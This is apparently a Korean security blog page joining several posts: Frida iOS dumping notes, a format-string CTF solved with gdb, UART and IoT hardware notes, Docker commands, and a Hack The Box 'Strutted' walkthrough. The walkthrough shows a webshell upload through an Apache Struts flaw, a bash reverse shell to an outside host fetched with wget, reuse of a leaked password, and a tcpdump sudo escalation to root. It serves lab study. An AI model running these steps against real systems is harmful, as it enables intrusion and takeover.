Frida 17+에 사용 가능한 ios dump

현재 테스트한 환경은 Frida 17.x입니다.

 

예전 Frida에서는 iOS에서 ObjC bridge가 기본으로 제공되는 식으로 동작했는데, Frida 17 계열에서는 bridge들이 분리되어 frida-objc-bridge를 명시적으로 import해야 하는 구조가 됐습니다. 그래서 기존 코드가 그대로 있으면

ReferenceError: 'ObjC' is not defined 가 발생하기 때문에 코드를 명시적으로 objc를 사용하도록 코드를 수정하였습니다.

(Frida 17 이상에서는 Objective-C bridge가 기본 포함되지 않기 때문에, 별도 bridge 설치가 필요합니다.)

Frida 12 ~ 17 권장
Frida 17+ 사용 시 frida-objc-bridge 필요
Frida 11 이하 미검증

 

dump.py 상단의 기본값은 수정해서 해야하고 현재 인터넷과 연결된 아이폰 IP 그리고 User, Password는 기입해주셔야 정확히 찾아서 ipa 추출이 가능합니다.

 

User = 'User'
Password = 'passwd'
Host = 'IP'

 

설치는 filza로 파일 다운로드 경로가서 trollstore로 연결해서 설치하면 됩니다.

 

https://github.com/Tyrell96/frida-ios-dump-plus/tree/main

 

GitHub - Tyrell96/frida-ios-dump-plus

Contribute to Tyrell96/frida-ios-dump-plus development by creating an account on GitHub.

github.com

 

 

 

대략적인 구성이 이렇게 되어있고 a.out 이라는 실행파일이 있다.

a.out 를 열어보면 'Can you read the flag?' 라는 문구를 출력하고

Falg value address 주소 값을 반환하는데 이건 여러번 실행해도 같은 주소값을 반환한다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>

#define FLAG_PATH "./flag"
#define FLAG_SIZE 0x40

void alarm_handler() { exit(-1); }

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

char flag_buf[FLAG_SIZE];

void read_flag() {
    int fd = open(FLAG_PATH, O_RDONLY);
    if (fd < 0) {
        perror("open");
        exit(1);
    }

    ssize_t r = read(fd, flag_buf, FLAG_SIZE - 1);
    if (r < 0) {
        perror("read");
        close(fd);
        exit(1);
    }

    flag_buf[r] = '\0';
    close(fd);
}

int main() {
    initialize();

    char buf[1024];
    memset(buf,0x0,1024);

    read_flag();

    printf("Can you read the flag?\n");
    printf("Flag value address : %p\n",flag_buf);
    printf("Please answer this question (YES/NO) : ");

    read(0, buf, 1024);

    printf("Your opinion: ");
    printf(buf);

    
    return 0;
}

 

같은 메모리 주소값을 반환한다는 것은 어떤 의미를 가질까?

 

바로 전역변수라는 것이다. 지역변수의 경우 각 함수 내에서 변수값을 가져오기 때문에 함수가 실행되는 시점에 따라 변소 주소값이 변환된다.

그에 반해 전역변수는 어느 함수든 같은 위치에 있는 값을 가져와야 데이터 혼선이 없기 때문에 실행 시 항상 동일한 위치에 정해지게 된다.

 

그 전역 변수 선언이 바로 char flag_buf[FLAG_SIZE]; 이곳이다.

 

그럼 이제 메모리 주소값을 알기 때문에 큰 문제없이 접근이 가능하다.

 

필자는 gdb를 이용하여 해당 변수에 접근하겠다.

# main 우선 브레이크 포인트 걸기
(gdb) b main
# 프로그램 실행 시 main 첫 부분에 브레이크
(gdb) r
# main 내 read_flag()함수가 있기 때문에 해당 부분까지 실행해야 로딩
(gdb) n
# flag_buf의 메모리 주소 확인
(gdb) p &flag_buf
# 메모리 내 값 확인
(gdb) x/s &flag_buf

 

 

그 결과 FLAG{fIrst_M3Mory_re4D1}라는 값을 추출에 성공함

 

 

 

Locating debug interface

  • UART
  • Oscillator
  • MCU/SoC
  • JTAG
  • Flash memory => Datasheet

UART (Universal Asynchronous Receiver-Transmitter) 

  • 두 장비 사이 비동기 직렬 통신 지원 (IoT <-> Computer, IoT <-> IoT)
  • baud rates라고 하는 비동기 통신 속도 존재
    (300, 600, 1200, 2400, 4800, 9600, 19200, 38400, 57600, 115200, 230400, 460800, 921600)
  • 대부분의 IoT 장비에 존재하며 보통 3개의 pin을 사용
  • GND(Ground) : Signal 접지
  • RX : reciver
  • TX : trasmitter
  • VCC : voltage

대부분의 Embedded/IoT 장비에서는 serical console이 존재하기 때문에 uart를 통해 접근하여 shell 획득이 가능하다.

Root shel 까지 접근 가능시

  • Firmware/file-system 획득 가능
  • Bootloader 접근 가능
  • 동적 디버깅 가능

Serial console 접근이 힘든 케이스

  • 제조사에서 serial console을 비활성화 해놓는 경우 
  • serial console의 로그인 계정 및 비밀번호가 필요한 경우 Reversing
  • sandbox가 존재하는 경우 sandbox escape
  • Anti UART 기능이 존재하는 경우 (physical) 전기회로 조작
  • Read only console인 경boot log, crash

UART

총 4개의 핀이 존재합니다.

- GND,VCC,RX, TX

구분 방법

GND : 접지 여부만 확인

VCC : 3.3V 여부 확인

RX : 전송부이기 때문에 아무런 작업안하면 0V가 나와야함

TX : 수신부는 데이터 전송때문에 가변 전압이 계속 나와야함

 

Connect to UART with UART converter and PC

  • Device RX ←→ UART Converter TX
  • Device TX ←→ UART Converter RX
  • Device GND ←→ UART Converter GND

RX와 TX는 반대로 연결해야 수신부 통신부가 정상적으로 통신된다.

Serial console 접속

# tty명 확인
ls /dev/tty*
#tty 접근 방법
screen /dev/tty.usbserial -0001 115200

 

 





'Pwnable > Ananlysis' 카테고리의 다른 글

Embedded & IoT device hacking  (0) 2025.11.14
Docker  (0) 2025.11.13

Embedded device

  • 특정한 단일 목적을 수행하는 기계 또는 시스템
  • 인터넷이 반드시 필요하지는 않음
  • Ex. RC카, 복사기, 세탁기

IoT (Internet of Things)

  • Embedded device + Internet
  • 현재 대부분의 하드웨어는 IoT로 분류됨
  • Ex. 휴대폰, CCTV, 인터넷에 연결되는 모든 디바이스

 

Microprocessor

  • 단일 프로세스 칩으로만 이루어진 경우
  • RAM/ROM, Flash, I/O port 별도 연결 필요
  • 주로 PC나 노트북에 사용
  • Ex. Intel x86, AMD Ryzen 등

Microcontroller

  • CPU + 메모리 + 주변장치가 하나의 칩으로 이루어짐
  • 저전력 및 저비용 장점
  • 대다수의 IoT 장비에 사용
  • Ex. PPC, VxWorks, PIC 등

Bare-Metal

  • 운영체제 없이 MCU 칩에서 코드가 실행되며, 단일 기능을 위해 동작하는 시스템
  • 하나의 프로세스 또는 프로그램만 동작하기에 스케쥴러나 context switching 존재하지 않음
  • 터치나 센서에 의해서 동작하는 장비가 많음

RTOS (Real-Time Operation System)

  • 실시간 처리 성능을 보장하도록 만들어진 운영체제
  • Linux 운영체제에 비해 매우 작고 가벼움, 파일 시스템이 존재하지 않음
  • Task/Thread 기반 멀티태스킹 지원
  • Priority 기반의 task/thread 스케쥴링으로 항상 우선순위가 높은 task/thread가 먼저 실행 Priority Inversion 또는 Starvation 발생 가능

Embedded linux

  • 임베디드 장치에서 동작하도록 경량화/최적화된 리눅스 운영체제
  • 보통 ARM, RISC-V, MIPS 같은 아키텍쳐 위에서 동작함
  • 일반적인 linux OS의 특성을 그대로 가짐 (파일시스템, 부트로더, 커널)



 

'Pwnable > Ananlysis' 카테고리의 다른 글

Hardware 분석  (0) 2025.11.14
Docker  (0) 2025.11.13

Dockerfile?

  • 실제 익스플로잇이 되는 환경과 똑같은 환경을 제공하기 위해 사용
  • Pwnable 문제의 경우 “로되리안”을 최소화하기 위하여 Dockerfile 전달

*로되리안 : 바로 로컬에서 exploit에 성공했는데 remote에서는 실패할때다. 이 상황을 로컬에선 되고 리모트에선 안된다는 의미로 '로되리안' 이라고 한다 (이유는 실제 환경이랑 로컬에서의 메모리 주소 값 등이 다른 경우 발생한다)

 

Docker Build를 하기 위해서는 Dockerfile이 있는 폴더로 이동하여 빌드를 시작한다.

이후 빌드된 파일은 컨테이너라고 불리운다.

#Docker build
docker build -t myimage:latest .(lastest는 생략 가능 버전정리를 위해 존재)
docker build -t myimage:1.0 ~/project/docker/ (타 폴더에 있을경우)

#Docker Run - base 파일을 기반으로 ctf-real 이라는 컨테이너 실행
sudo docker run -d -p 5006:5006 --name ctf-real ctf-base

 

이제 실행한 컨테이너에 접근하기 위해서는 우선 컨테이너가 종료되지 않고 작동하고 있어야한다.

만약 접근하기 전에 이미 명령어가 끝나버렸다면 접근이 힘들기 때문에 start 후 바로 후킹하여 접근한다.

#컨테이서 시작 및 삭제 명령어
sudo docker start -ai ctf-real
sudo docker stop ctf-real
sudo docker rm ctf-real

#컨테이너 내 파일 복사
sudo docker cp ctf-real:/home/gshs/chall ./

#실행한 컨테이너 접근 
sudo docker exec -it ctf-real

#만약 실행과 동시에 작업이 끝나는 겨우 접근 방법
sudo docker run -it ctf-real sh

 

 

만약 docker를 실행할 때 도커안에 주요 프로그램 설치가 필요하다면 Dockerfile을 아래와 같이 수정하여 접근하면 해결이 가능하다.

'Pwnable > Ananlysis' 카테고리의 다른 글

Hardware 분석  (0) 2025.11.14
Embedded & IoT device hacking  (0) 2025.11.14

 

 

┌──(root㉿kali)-[~]
└─# nmap -sV 10.10.11.59 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-21 09:08 EDT
Nmap scan report for strutted.htb (10.10.11.59)
Host is up (0.36s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.18 seconds

 

노출된 기본 80 포트 접근시 strutted.htb로 리다이렉트 되지만 연결은 안되서  /etc/hosts 파일 변경

  hosts 파일에 아래 코드 추가 

10.10.11.59 strutted.htb

 

 

아래 메인 페이지 접근 후 Download 시도

다운로드 zip 파일 풀기

unzip strutted.zip -d strutted

압축 파일의 dockerfile 내용을 보게되면  tomcat으로 구성된 docker 파일임을 확인

 

strutted 폴더 내 pom.xml 확인 시 취약한 apache struts 6.3.0.1을 사용중임을 확인

해당 버전 취약점은 업로드 시 경로를 변경하여 파일을 업로드 가능한 취약점

 

이미지 파일 업로드 시도

 

파일 업로드 시 아래 패킷을 잡아 변조 시도

변조된 패킷값

상단 파일 name은 upload 앞 문자를 대문자로 할 것 인터셉터한 post 는 대문자가 아니면 패킷이 정상 전송이 안되는 듯 함 다른 블로그 참고하여 이용함

shell code 란 부분에는 원하는 jsp 웹쉘을 넣으면 됨

 

쉘을 얻었으나 이제 wget을 통해 백도어 접근 시도

bash -i >& /dev/tcp/10.10.16.61/443 0>&1 라는 shell.sh 파일 생성

python -m http.server 8888 #8888포트 열어둠

host -I 를 통해 현재 IP를 확인 후 wget을 통해 shell.sh 희생자 서버로 가져옴


wget 10.10.16.61:8888/shell.sh -O /dev/shm/shell.sh


bash /dev/shm/shell.sh #쉘 실행

 

 

┌──(root㉿kali)-[/home/kali/Downloads]
└─# nc -lnvp 443        
listening on [any] 443 ...
connect to [10.10.16.61] from (UNKNOWN) [10.10.11.59] 58476
bash: cannot set terminal process group (1053): Inappropriate ioctl for device
bash: no job control in this shell
tomcat@strutted:~$ whoami
whoami
tomcat
tomcat@strutted:~$ ls
ls
conf
lib
logs
policy
webapps
work
tomcat@strutted:~$ cd conf
cd conf
tomcat@strutted:~/conf$ ls
ls
Catalina
catalina.properties
context.xml
jaspic-providers.xml
logging.properties
policy.d
server.xml
tomcat-users.xml
web.xml
tomcat@strutted:~/conf$

 

권한이 높은 계정 확인 시 james 계정을 확인

cat /etc/passwd | grep 'sh$'


root:x:0:0:root:/root:/bin/bash
james:x:1000:1000:Network Administrator:/home/james:/bin/bash

 

내부 시스템 파일 확인하다가 conf/tomcat-user.xml에 비밀번호가 노출됨을 확인

<!--
  <user username="admin" password="<must-be-changed>" roles="manager-gui"/>
  <user username="robot" password="<must-be-changed>" roles="manager-script"/>
  <role rolename="manager-gui"/>
  <role rolename="admin-gui"/>
  <user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
--->

 

노출된 비밀번호로 james 계정 로그인 성공

──(root㉿kali)-[/home/kali/Downloads]
└─# ssh james@10.10.11.59
james@10.10.11.59's password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-130-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Wed May 21 01:51:22 PM UTC 2025

  System load:           0.0
  Usage of /:            69.6% of 5.81GB
  Memory usage:          10%
  Swap usage:            0%
  Processes:             212
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.59
  IPv6 address for eth0: dead:beef::250:56ff:feb0:e18d


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

5 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Jan 21 13:46:18 2025 from 10.10.14.64
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

james@strutted:~$

 

sudo -l 을 통해 사용 가능한 root 권한 명령어는 tcpdump 임을 확인

root shell 생성 방법을 서칭 하였더니 아래 사이트 발견 및 코드 응용

https://gtfobins.github.io/gtfobins/tcpdump/

james@strutted:~$ sudo -l
Matching Defaults entries for james on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User james may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/sbin/tcpdump
// 응용 코드
james@strutted:~$ COMMAND='cp /bin/bash /tmp/bash; chmod 6777 /tmp/bash'
james@strutted:~$ TF=$(mktemp)
james@strutted:~$ echo "$COMMAND" > $TF
james@strutted:~$ chmod +x $TF
james@strutted:~$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel
james@strutted:~$ /tmp/bash -p
bash-5.1# ls
user.txt

 

root 권한 쉘 획득 성공

 

 

 

Task 1

How many open TCP ports are listening on Strutted?

정답 : 2 

 

Task 2 

Clicking Download triggers a zip file download containing the Docker environment for the application, what is the name of the application server running on the target?

정답 : tomcat

 

Task 3

In a Java project, what is the name of this file that contains the dependencies for the application?

정답 : pom.xml

 

Task 4

What is the name of the MVC framework used by the application?

정답 : apache struts

pom.xml에 나온 struts와 버전 정보

Task 5

What version of the framework does the application use?

정답 : 6.3.0.1

 

Task 6

What is the 2024 CVE ID assigned to a vulnerability in the file upload logic vulnerability in Apache Struts?

struts에서 나온 취약점은 파일 업로드 취약점으로 CVE-2024-53677

정답 : CVE-2024-53677

 

Task 7

What system user is the web application running as on Strutted?

정답 : tomcat

 

Task 8

What is the james user's password on Strutted?`

정답 : IT14d6SSP81k

'Coding > HTB' 카테고리의 다른 글

HTB 연결 방법  (0) 2025.05.18

+ Recent posts